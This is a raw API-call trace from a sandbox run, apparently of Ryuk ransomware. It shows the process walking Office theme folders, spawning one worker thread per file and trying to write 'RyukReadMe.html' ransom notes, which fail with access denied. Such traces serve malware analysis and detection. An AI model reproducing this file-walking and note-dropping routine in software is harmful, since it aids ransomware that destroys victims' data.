	[0168.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.959] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.959] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1
	[0168.959] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4
	[0168.962] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.963] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1
	[0168.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8
	[0168.966] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.966] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec
	[0168.969] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.970] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0
	[0168.972] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.973] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.973] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.974] SetLastError (dwErrCode=0x0) 
	[0168.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.974] GetLastError () returned 0x5
	[0168.974] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.974] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0168.975] SetLastError (dwErrCode=0x0) 
	[0168.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.975] GetLastError () returned 0x5
	[0168.975] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.977] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.977] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1
	[0168.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4
	[0169.082] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.084] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1
	[0169.084] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8
	[0169.087] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.088] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0169.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc
	[0169.090] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.091] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0169.091] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700
	[0169.093] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.094] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0169.094] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0169.094] SetLastError (dwErrCode=0x0) 
	[0169.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.094] GetLastError () returned 0x5
	[0169.094] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.095] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0169.095] SetLastError (dwErrCode=0x0) 
	[0169.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.095] GetLastError () returned 0x5
	[0169.095] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.096] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0169.097] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.098] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1
	[0169.098] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704
	[0169.100] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.101] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1
	[0169.101] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708
	[0169.103] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.104] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0169.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c
	[0169.106] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.107] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0169.107] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710
	[0169.110] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.110] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0169.110] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0169.110] SetLastError (dwErrCode=0x0) 
	[0169.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.111] GetLastError () returned 0x5
	[0169.111] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.111] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.111] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0169.111] SetLastError (dwErrCode=0x0) 
	[0169.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.111] GetLastError () returned 0x5
	[0169.111] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0169.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0169.114] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.114] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1
	[0169.114] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0169.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714
	[0169.117] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.118] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1
	[0169.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
